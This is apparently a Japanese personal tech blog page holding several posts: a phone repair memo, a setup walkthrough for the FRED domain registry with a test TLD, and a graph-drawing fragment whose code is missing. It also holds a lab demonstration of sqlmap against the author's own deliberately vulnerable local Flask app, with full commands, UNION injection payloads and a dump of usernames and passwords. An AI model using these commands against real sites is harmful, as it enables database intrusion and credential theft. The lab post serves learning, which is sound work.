Posted at: 2018-08-04 09:56:39  Category: memo


ここ最近?巷でNexus 5Xが起動できなくなったという話を聞いていたので、
そのうち自分もなりそうだと覚悟していたのですが、ついに7/16の暑い夏の日、お亡くなりになってしまいました。2015年の12月に購入したものです。

通常通り使用していたのですが、突如電源が切れてしまい、その後電源長押しをしようにも
Google のロゴが一旦出るのみで、すぐに暗転してしまいます。リカバリモードでの起動も不可でした。

ということで、Nexus 5X お気に入りなのでLGに修理に出しました。
LGの連絡フォームにて、「Google ストアで購入したNexus 5Xが起動しなくなったんだけど」と
修理依頼を兼ねて問い合わせると端末の送り先を教えてくれましたので、ゆうぱっくで送りました。

送ってから大体一週間くらいで、無償修理されてかえってきました。
修理内容を確認すると、基盤交換とのことだったので、巷で起きている現象と同様だったのかもしれません。

Posted at: 2018-08-02 08:51:17  Category: tech

sqlmapでSQL Injectionを試してみる

タイトル通りです。sqlmapというSQL Injection攻撃を実行できるツールで
脆弱なウェブアプリに対して試してみたいと思います。

まず、脆弱なウェブアプリを動かします。
意図的にSQL Injectionが実行できるアプリをPythonのflaskででっち上げます。
DBはMaria DBです。


$ python app.py
* Serving Flask app "app" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: on
* Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger PIN: 257-973-851

立ち上げたアプリはクエリパラメータを取りません。
http://localhost:8080/search/1
パス、/search/以下の値をsqlのwhere句にぶち込みます。いわゆるcleanなurlです。
まず、db一覧を取得してみます。--dbsでdb一覧を取得します。
アスタリスク(*)をつけることで、injectionのテストをする部分を指定することができます。
$ sqlmap -u 'http://localhost:8080/search/1*' 
--technique=U
--dbs
_
___ ___| |_____ ___ ___ {1.0.4.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org



[*] starting at 00:30:26

---
Parameter: #1* (URI)
Type: UNION query
Title: MySQL UNION query (28) - 3 columns
Payload: http://localhost:8080/search/1 UNION ALL SELECT 28,28,CONCAT(0x71706a7071,0x4870594a4d784f79554b7351455a5567626341745057424c5951416f6d526a6f696a5245514f4d46,0x71626b6b71)#
---

[00:31:42] [INFO] testing MySQL
[00:31:42] [INFO] confirming MySQL
[00:31:42] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[00:31:42] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] sqlmap_test_db

information_schemaとsqlmap_test_dbがあることが分かりました。

つづいて、sqlmap_test_dbに対してテーブル一覧を取得してみます。

$ sqlmap -u 'http://localhost:8080/search/1*' 
--technique=U
-D sqlmap_test_db
--tables
_
___ ___| |_____ ___ ___ {1.0.4.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org



[*] starting at 00:33:54

custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[00:34:02] [INFO] resuming back-end DBMS 'mysql'
[00:34:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: MySQL UNION query (28) - 3 columns
Payload: http://localhost:8080/search/1 UNION ALL SELECT 28,28,CONCAT(0x71706a7071,0x4870594a4d784f79554b7351455a5567626341745057424c5951416f6d526a6f696a5245514f4d46,0x71626b6b71)#
---
[00:34:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[00:34:02] [INFO] fetching tables for database: 'sqlmap_test_db'
Database: sqlmap_test_db
[2 tables]
+-----------+
| hogefuga |
| user_info |
+-----------+


hogefugaとuser_infoテーブルがあることが分かりました。

つづいて、user_info テーブルのカラム一覧を取得してみます。
$ sqlmap -u 'http://localhost:8080/search/1*' 
--technique=U
-D sqlmap_test_db
-T user_info
--columns
_
___ ___| |_____ ___ ___ {1.0.4.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org



[*] starting at 00:35:43

custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[00:35:45] [INFO] resuming back-end DBMS 'mysql'
[00:35:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: MySQL UNION query (28) - 3 columns
Payload: http://localhost:8080/search/1 UNION ALL SELECT 28,28,CONCAT(0x71706a7071,0x4870594a4d784f79554b7351455a5567626341745057424c5951416f6d526a6f696a5245514f4d46,0x71626b6b71)#
---
[00:35:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[00:35:45] [INFO] fetching columns for table 'user_info' in database 'sqlmap_test_db'
Database: sqlmap_test_db
Table: user_info
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| password | varchar(50) |
| userid | int(11) |
| username | varchar(30) |
+----------+-------------+


usernameとか、passwordというカラムがあることが分かりました。
最後に、対象のテーブルで当該カラムの値の一覧を取得します。

$ sqlmap -u 'http://localhost:8080/search/1*' 
--technique=U
-D sqlmap_test_db
-T user_info
-C username,password
--dump
_
___ ___| |_____ ___ ___ {1.0.4.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org



[*] starting at 00:37:41

custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[00:37:43] [INFO] resuming back-end DBMS 'mysql'
[00:37:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: MySQL UNION query (28) - 3 columns
Payload: http://localhost:8080/search/1 UNION ALL SELECT 28,28,CONCAT(0x71706a7071,0x4870594a4d784f79554b7351455a5567626341745057424c5951416f6d526a6f696a5245514f4d46,0x71626b6b71)#
---
[00:37:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[00:37:43] [INFO] fetching entries of column(s) 'password, username' for table 'user_info' in database 'sqlmap_test_db'
[00:37:43] [INFO] analyzing table dump for possible password hashes
Database: sqlmap_test_db
Table: user_info
[3 entries]
+----------+----------+
| username | password |
+----------+----------+
| piyo | 1234 |
| foo | 5678 |
| bar | 91011 |
+----------+----------+


テーブルの値まで取得できました。

前書き

タイトルの通り、cz.nic が作っているFREDをインストールして、適当なTLDゾーンを作ってみたいと思います。
IANAから正式に委任されているTLD*を使うのは気が引けるので(多分問題ないと思いますが)、今回は example を TLDとしてみます。

* Root Zone Database

インストール

今回インストールをする環境情報です。Ubuntu 16.04 でやりたいと思います。
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.4 LTS
Release: 16.04
Codename: xenial
fred@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-119-generic #143-Ubuntu SMP Mon Apr 2 16:08:24 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
公式の手順に従い、
何も考えずに Installation script を叩いてみます。
$ sudo su -
# wget https://fred.nic.cz/files/fred/fred-ubuntu-install.sh
# . fred-ubuntu-install.sh
上記シェルスクリプトが何をしているかは、Installation stepsに書いてあります。

TLDゾーンの作成

つづいて TLDゾーンの作成に移ります。やり方は2つ存在するようです。
1つは、ゾーンのセットアップスクリプトを実行する方法。2つめは、手動でコマンドをたたいていく方法。
1つめの方法を公式から引用します。
$ wget https://fred.nic.cz/files/fred/fred-config-zone.py
$ python fred-config-zone.py cz > fred-config-cz.sh
$ . fred-config-cz.sh
上記スクリプト fred-config-zone.py は 作成したい TLD名を引数にとるスクリプトで、
TLDゾーンのセットアップ用のコマンドを標準出力に出力します。
但し、上記スクリプトには実在するTLD名を与えないと動かないようです。
どうもTLDゾーンのSOA等を引いて、セットアップ用に値を取ってきているようです。
(シリアルとかTTLとか)

とういうことで、2つめの方法、コマンドを愚直に叩いていく方法でセットアップをしていこうと思います。
セットアップは以下の流れで実施する必要がある様です。それぞれのタスクは、インストール時に作られた
fred-adminというコマンドで行えるようです。fred-admin --help で詳細な使い方が分かります。
  • 1. ゾーンの作成
  • 2. レジストラ用アカウントの作成
  • 3. 課金に関する情報の作成(レジストラへ課金する為)

1. ゾーンの作成

コマンドを実行します。
$ fred-admin --zone_add
--zone_fqdn=example
--ex_period_min=12
--ex_period_max=120
--ttl=18000
--hostmaster=hostmaster@nic.example
--refresh=900
--update_retr=300
--expiry=604800
--minimum=900
--ns_fqdn=a.dns.example
--ex_period_minは登録可能期間の最小値(月単位)、--ex_period_maxは登録可能期間の最大値(月単位)
を表しているようです。それ以外のオプションは、TLDゾーンのSOAレコードに記載される値です。

つづいて、TLDゾーンの権威DNSサーバーを登録します。
$ fred-admin --zone_ns_add --zone_fqdn=example --ns_fqdn=a.dns.example --addr=127.0.0.1

2. レジストラアカウントの作成

作成できるレジストラのタイプは、common registrar と system registrar の2つが存在するようです。
system registrar については、レジストリ自身がゾーンの情報を変更するためのアカウントで、
common registrarアカウントはそれ以外の目的のアカウントとなる様です。
system registrarを作成し認証情報を設定し、example ゾーンへの権限を追加します。
認証情報の設定については、fred-clientが使用するクライアント証明書(/usr/share/fred-client/ssl/test-cert.pem)の
fingerprintを正しく設定する必要があります。フィンガープリントの作り方は以下の通り。
$ openssl x509 -noout -fingerprint -md5 -in /path/to/cert.pem | cut -d= -f2
$ fred-admin --registrar_add    --handle=REG-SYS --reg_name="System registrar"    --country=JP --system
$ fred-admin --registrar_acl_add --handle=REG-SYS --certificate="上記で作ったfingerprintの値。16新数2桁のコロン区切り" --password=passwd
$ fred-admin --registrar_add_zone --zone_fqdn=example --handle=REG-SYS

3. 課金情報の作成

EPPにおけるそれぞれの操作に対応した形で課金情報の設定をする事ができるようです。
CreateDomainにはいくら、RenewDomainにはいくら、それ以外のEPP操作にはいくら
という感じです。
$ fred-admin --price_add --operation='CreateDomain' --zone_fqdn=example    --operation_price 150 --period 1
$ fred-admin --price_add --operation='RenewDomain' --zone_fqdn=example --operation_price 200 --period 1
$ fred-admin --price_add --operation='GeneralEppOperation' --zone_fqdn=example --operation_price 0.05 --period 1 --enable_postpaid_operation

ドメインを登録してみる

さて、セットアップを一通り終えましたので実際にドメインを登録してみたいと思います。
登録するドメインは、nic.example とします。
レジストラアカウントは、system registrar を使用します。
登録の前に、登録対象のドメイン nic.example をwhoisで引いてみます。
$ whois -h localhost nic.example
% Domain Information over Whois protocol
%
% Whoisd Server Version: 3.10.2

%ERROR:101: no entries found
%
% No entries found.
ドメインを登録するには、fred-clientコマンドを使用します。
fred-clientコマンドを使用する方法については、以前紹介してみています。(FRED試してみる(3))。
fred-clientが使用する認証情報については、REG-SYSアカウントのもので適当に設定する必要があります。
設定ファイルは、/etc/fred/fred-client.confです。
$ fred-client
FredClient upstream/2.10.1-132-gad39
Type "help", "license" or "credits" for more information.

Using configuration from /etc/fred/fred-client.conf
Connecting to localhost, port 700 ...
Connected!

REG-SYS@localhost> check_contact ID99
ID99: Available. Not in registry: Object is available.
REG-SYS@localhost> create_contact ID99 'Nanashi no Gombei' nanashi.gombei@nic.example 'Example Street' ExampleCity 12300 JP
Do you really want to send this command to the server? (y/N): y
Contact ID: ID99
Created on: 2018-06-25T02:49:00+09:00
REG-SYS@localhost> check_contact ID99
ID99: Not available. Registered already
REG-SYS@localhost> info_contact ID99
Contact ID: ID99
Repository object ID: C0000000001-EPP
Created by: REG-SYS
Designated registrar: REG-SYS
Created on: 2018-06-25T02:49:00+09:00
Name: Nanashi no Gombei
Street: Example Street
City: ExampleCity
Postal code: 12300
Country code: JP
Password for transfer: NWmUd5vp
Email: nanashi.gombei@nic.example
Status: ok - Object is without restrictions
Disclose: voice
fax
email
vat
ident
notify_email
Hide: addr
REG-SYS@localhost> !create_nsset
Interactive input mode started. Press Ctrl+C to abort or Ctrl+D to finish command.
NSSET ID [required]: ID99
LIST of DNS[1/9] / Name server [required]: ns1.nic.example
LIST of DNS[1/9] / Server address[1/oo] [optional]: 127.0.0.1
LIST of DNS[1/9] / Server address[2/oo] [optional]:
LIST of DNS[2/9] / Name server [required]: ns2.nic.example
LIST of DNS[2/9] / Server address[1/oo] [optional]: 127.0.0.1
LIST of DNS[2/9] / Server address[2/oo] [optional]:
LIST of DNS[3/9] / Name server [optional]:
Technical contact[1/oo] [required]: ID99
Technical contact[2/oo] [optional]:
Password required by server to authorize the transfer [optional]: test
Report range level (0 - 10; higher = more detailed) [optional]:
Client transaction ID [optional]:

Interactive input completed. [Press Enter]
Command to issue:
create_nsset ID99 ((ns1.nic.example 127.0.0.1), (ns2.nic.example 127.0.0.1)) ID99 test
Do you really want to send this command to the server? (y/N): y
NSSET ID: ID99
Created on: 2018-06-25T02:52:20+09:00
REG-SYS@localhost> info_nsset ID99
NSSET ID: ID99
Repository object ID: N0000000002-EPP
Created by: REG-SYS
Designated registrar: REG-SYS
Created on: 2018-06-25T02:52:20+09:00
Password for transfer: test
Status: ok - Object is without restrictions
Technical contact: ID99
Name servers: ns1.nic.example, (127.0.0.1)
ns2.nic.example, (127.0.0.1)
Report level: 3
REG-SYS@localhost> create_domain nic.example ID99 NULL ID99
Do you really want to send this command to the server? (y/N): y
Domain name: nic.example
Created on: 2018-06-25T02:53:18+09:00
Expiration date: 2019-06-24
REG-SYS@localhost> quit
Logout command sent to server

History IOError: [Errno 13] Permission denied
Ending session at localhost
Disconnected.
無事登録できたので、whoisとRDAPを引いてみます。
$ whois -h localhost nic.example
% Domain Information over Whois protocol
%
% Whoisd Server Version: 3.10.2
% Timestamp: Sun Jun 24 17:54:56 2018

domain: nic.example
registrant: ID99
nsset: ID99
registrar: REG-SYS
registered: 25.06.2018 02:53:18
expire: 24.06.2019

contact: ID99
name: Nanashi no Gombei
address: Example Street
address: ExampleCity
address: 12300
address: JP
registrar: REG-SYS
created: 25.06.2018 02:49:00

nsset: ID99
nserver: ns1.nic.example (127.0.0.1)
nserver: ns2.nic.example (127.0.0.1)
tech-c: ID99
registrar: REG-SYS
created: 25.06.2018 02:52:20
RDAPのアクセス先は、http://localhost/rdap/domain/nic.example となります。
{
"status": [
"active"
],
"fred_nsset": {
"nameservers": [
{
"ipAddresses": {
"v4": [
"127.0.0.1"
]
},
"objectClassName": "nameserver",
"handle": "ns1.nic.example",
"links": [
{
"href": "http://localhost/rdap/nameserver/ns1.nic.example",
"type": "application/rdap+json",
"rel": "self",
"value": "http://localhost/rdap/nameserver/ns1.nic.example"
~~~長いので省略~~~

肝心な example ゾーンのゾーンファイルですが、
/etc/fred/genzone.confのzonedirに指定したディレクトリにゾーンファイルが作られています。
$ cat /etc/bind/db.example
18000 ;default TTL for all records in zone
example. IN SOA a.dns.example. hostmaster.nic.example. (1529832016 900 300 604800 900)
IN NS a.dns.example.
a.dns.example. IN A 127.0.0.1
;
;--- domain records ---
;
nic.example. IN NS ns1.nic.example.
ns1.nic.example. IN A 127.0.0.1
nic.example. IN NS ns2.nic.example.
ns2.nic.example. IN A 127.0.0.1
最後に、レジストラへの課金情報ですが、
レジストリオペレータ向けのWebインターフェース(WebAdmin)が localhost:18456 にて動いているようで
そこから invoiceの情報をレジストラごとに見れそうでした。
今回は、system registrar によってドメインを登録したせいなのかわかりませんが、
特に請求情報を見つけられませんでした。

WebAdminについては、今後詳しく見ていこうと思います。

Posted at: 2018-06-24 01:35:32  Category: FRED


cz.nic が作っている FRED のwhois 並びに rdapのデモ環境ですが、
以前は、 demo.fred.nic.cz で動いていたと思います。

今はホスト名が変わり、demo.regtest.nic.cz となっている様子です。



まずは最も単純な線形のグラフを描いてみます




つづいて、グラフのタイトル、x,y軸のタイトルをつけてみます。




つづいて、グラフの背景色を変えて、グラフの描画エリア(width)を変えます。




つづいて、グラフ右上に表示されているツールバー(floating tool bar)を消してみます




つづいて、グラフの右y軸の値として棒グラフを追加してみます。




最後に、凡例(legend)に名前を付けてがy軸に重なってしまっているので位置をずらします。